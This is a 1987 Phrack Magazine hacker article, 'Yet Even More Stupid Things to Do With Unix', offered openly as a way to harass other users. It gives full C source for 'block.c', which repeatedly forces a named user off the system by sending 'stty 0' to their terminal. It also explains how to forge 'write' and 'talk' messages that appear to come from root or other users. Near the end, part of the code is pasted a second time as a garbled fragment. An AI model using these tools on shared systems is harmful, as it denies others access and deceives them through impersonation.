home *** CD-ROM | disk | FTP | other *** search
- ===== Phrack Magazine presents Phrack 15 =====
-
- ===== File 2 of 10 =====
-
-
-
-
-
-
- I thought I had written everything there is to write about the
- Unix operating system until I was recently asked to put out yet
- another file... so I said "I'll try, but don't publish my file
- along with an article by The Radical Rocker this time!" These
- demands having been met, I booted up the PC and threw together...
-
-
- --- ---- ---- ------ ------ -- -- ---- -----
- % Yet Even More Stupid Things to Do With Unix! $
- --- ---- ---- ------ ------ -- -- ---- -----
- By Shooting Shark.
- Submitted 26 August '87
-
-
-
- These two topics are methods of annoying other users of the
- system and generally being a pest. But would you want to see a
- file on *constructive* things to do with Unix? Didn't think
- so...
-
-
- -- ------- ----- --- --- ------
- 1. Keeping Users Off The System
- -- ------- ----- --- --- ------
-
- Now, we all know by now how to log users off (one way is to
- redirect an 'stty 0' command to their tty) but unless you have
- root privs, this will not work when a user has set 'mesg n' and
- prevented other users from writing to their terminal. But even
- users who have a 'mesg n' command in their .login (or .profile or
- .cshrc) file still have a window of vulnerability, the time
- between login and the locking of their terminal. I designed the
- following program, block.c, to take advantage of this fact.
-
- To get this source running on your favorite Unix system, upload
- it, call it 'block.c', and type the following at the % or $
- prompt:
-
- cc -o block block.c
-
- once you've compiled it successfully, it is invoked like so:
-
- block username [&]
-
- The & is optional and recommended - it runs the program in the
- background, thus letting you do other things while it's at work.
-
- If the user specified is logged in at present, it immediately
- logs them out (if possible) and waits for them to log in. If
- they aren't logged in, it starts waiting for them. If the user
- is presently logged in but has their messages off, you'll have to
- wait until they've logged out to start the thing going.
-
- Block is essentially an endless loop : it keeps checking for the
- occurence of the username in /etc/utmp. When it finds it, it
- immediately logs them out and continues. If for some reason the
- logout attempt fails, the program aborts. Normally this won't
- happen - the program is very quick when run unmodified. However,
- to get such performance, it runs in a very tight loop and will
- eat up a lot of CPU time. Notice that near the end of the
- program there is the line:
-
- /*sleep(SLEEP) */
-
- the /* and */ are comment delimiters - right now the line is
- commented out. If you remove the comments and re-compile the
- program, it will then 'go to sleep' for the number of seconds
- defined in SLEEP (default is 5) at the end of every loop. This
- will save the system load but will slightly decrease the odds of
- catching the user during their 'window of vulnerability.'
-
- If you have a chance to run this program at a computer lab at a
- school or somewhere similar, run this program on a friend (or an
- enemy) and watch the reaction on their face when they repeatedly
- try to log in and are logged out before they can do *anything*.
- It is quite humorous. This program is also quite nasty and can
- make you a lot of enemies!
-
- caveat #1: note that if you run the program on yourself, you
- will be logged out, the program will continue to run (depending
- on the shell you're under) and you'll have locked yourself out of
- the system - so don't do this!
-
- caveat #2: I wrote this under OSx version 4.0, which is a
- licensed version of Unix which implements 4.3bsd and AT&T sysV.
- No guarantees that it will work on your system.
-
- caveat #3: If you run this program in background, don't forget
- to kill it when you're done with it! (when you invoke it with
- '&', the shell will give you a job number, such as '[2] 90125'.
- If you want to kill it later in the same login session, type
- 'kill %2'. If you log in later and want to kill it, type 'kill
- 90125'. Just read the man page on the kill command if you need
- any help...
-
- ----- cut here -----
-
- /* block.c -- prevent a user from logging in
- * by Shooting Shark
- * usage : block username [&]
- * I suggest you run this in background.
- */
-
- #include <stdio.h>
- #include <utmp.h>
- #include <ctype.h>
- #include <termio.h>
- #include <fcntl.h>
-
- #define W_OK2
- #define SLEEP5
- #define UTMP"/etc/utmp"
- #define TTY_PRE "/dev/"
-
- main(ac,av)
- int ac;
- char *av[];
- {
- int target, fp, open();
- struct utmpuser;
- struct termio*opts;
- char buf[30], buf2[50];
-
- if (ac != 2) {
- printf("usage : %s username\n",av[0]);
- exit(-1);
- }
-
-
- for (;;) {
-
- if ((fp = open(UTMP,0)) == -1) {
- printf("fatal error! cannot open %s.\n",UTMP);
- exit(-1);
- }
-
-
- while (read(fp, &user, sizeof user) > 0) {
- if (isprint(user.ut_name[0])) {
- if (!(strcmp(user.ut_name,av[1]))) {
-
- printf("%s is logging in...",user.ut_name);
- sprintf(buf,"%s%s",TTY_PRE,user.ut_line);
- printf("%s\n",buf);
- if (access(buf,W_OK) == -1) {
- printf("failed - program aborting.\n");
- exit(-1);
- }
- else {
- if ((target = open(buf,O_WRONLY)) != EOF) {
- sprintf(buf2,"stty 0 > %s",buf);
- system(buf2);
- printf("killed.\n");
- sleep(10);
- }
-
- } /* else */
- } /* if strcmp */
- } /* if isprint */
- } /* while */
- close(fp);
-
- /*sleep(SLEEP); */
-
- } /* for */
-
-
-
-
-
- }
-
- ----- cut here -----
-
-
- -- ------------- ----- ----- ---- ------ --- ------
- 2. Impersonating other users with 'write' and 'talk'
- -- ------------- ----- ----- ---- ------ --- ------
-
- This next trick wasn't exactly a work of stupefying genius, but
- is a little trick (that anybody can do) that I sometimes use to
- amuse myself and, as with the above, annoy the hell out of my
- friends and enemies.
-
- Nearly every Unix system has the 'write' program, for conversing
- with other logged-in users. As a quick summary:
-
- If you see that user 'clara' is logged in with the 'who' or 'w'
- command or whatever, and you wish to talk to her for some reason
- or another, you'd type 'write clara'. Clara then would see on
- her screen something like this (given that you are username
- 'shark'):
-
-
- [3 ^G's] Message from shark on ttyi13 at 23:14 ...
-
- You then type away at her, and whatever you type is sent to her
- terminal line-by-line. If she wanted to make it a conversation
- rather than a monologue, she'd type 'write shark,' you'd get a
- message similar to the above on your terminal, and the two of you
- would type away at each other to your little heart's content. If
- either one of you wanted to end the conversation, you would type
- a ^D. They would then see the characters 'EOF' on their screen,
- but they'd still be 'write'ing to you until they typed a ^D as
- well.
-
- Now, if you're on a bigger installation you'll probably have some
- sort of full-screen windowing chat program like 'talk'. My
- version of talk sends the following message:
-
- Message from Talk_Daemon@tibsys at 23:14 ...
- talk: connection requested by shark@tibsys.
- talk: respond with: talk shark@tibsys
-
- Anyway, here's where the fun part begins: It's quite easy to put
- a sample 'write' or 'talk' message into a file and then edit so
- that the 'from' is a different person, and the tty is listed
- differently. If you see that your dorky friend roger is on
- ttyi10 and the root also happens to be logged on on ttyi01, make
- the file look something like this:
-
- [3 control-G's] Message from root on ttyi01 at [the current time]
-
- wackawackawackawackawacka!!!
-
- [or a similarly confusing or rude message...]
-
- EOF
-
- Then, send this file to roger's terminal with:
-
- cat filename > /dev/ttyi10
-
- He'll get the message on his terminal and wonder what the hell
- the superuser is talking about. He might even 'write' back to
- the superuser with the intent of asking 'what the hell are you
- talking about?'. For maximum effectiveness, *simultaneously*
- send a message to root 'from' roger at the appropriate terminal
- with an equally strange message - they'll then engage in a
- conversation that will go something like "what did you mean by
- that?" "what do you mean, what do I mean? What did *you* mean
- by that?" etc. A splendid time is guaranteed for all! Note that
- you don't have to make 'root' the perpetrator of the gag, any two
- currently logged-in users who have their terminals open for
- messages can join in on the fun.
-
- Similarly, you can fake a few 'talk' pages from/to two
- people...they will then probably start talking...although the
- conversation will be along the lines of "what do you want?" "you
- tell me." "you paged me, you tell *me." etcetera, while you
- laugh yourself silly or something like that.
-
- A variation on the theme: As I said, when using 'write' you type
- a ^D to end the conversation, and the person you're typing at
- sees an 'EOF' on their screen. But you could also just *type*
- 'EOF', and they'd think you've quit...but you still have an open
- line to their terminal. Even if they later turn messages off,
- you still have the ability to write to their terminal. Keeping
- this fact in mind, anybody who knows what they're doing can write
- a program similar to my 'block' program above that doesn't log a
- user out when they appear on the system, but opens their tty as a
- device and keeps the file handle in memory so you can redirect to
- their terminal - to write rude messages or to log them out or
- whatever - at any time, until they log out.
-
- As I said, there was no great amount of genious in the above
- discourse, but it's a pastime I enjoy occasionally...
-
- -- Shooting Shark
-
-
- "the first fact to face is that unix was not developed with
- security, in any realistic sense, in mind..."
-
- -- Dennis M. Ritchie
-
- "Oryan QUEST couldn't hack his way out of a UNIX system, let
- alone into one."
-
- -- Tharrys Ridenow
- f("fatal error! cannot open %s.\n",UTMP);
- exit(-1);
- }
-
-
- while (read(fp, &user, sizeof user) > 0) {
- if (isprint(user.ut_name[0])) {
- if (!(strcmp(user.ut_name,av[1]))) {
-
- printf("%s is logging in...",user.ut_name
- Downloaded From P-80 International Information Systems 304-744-2253 12yrs+
-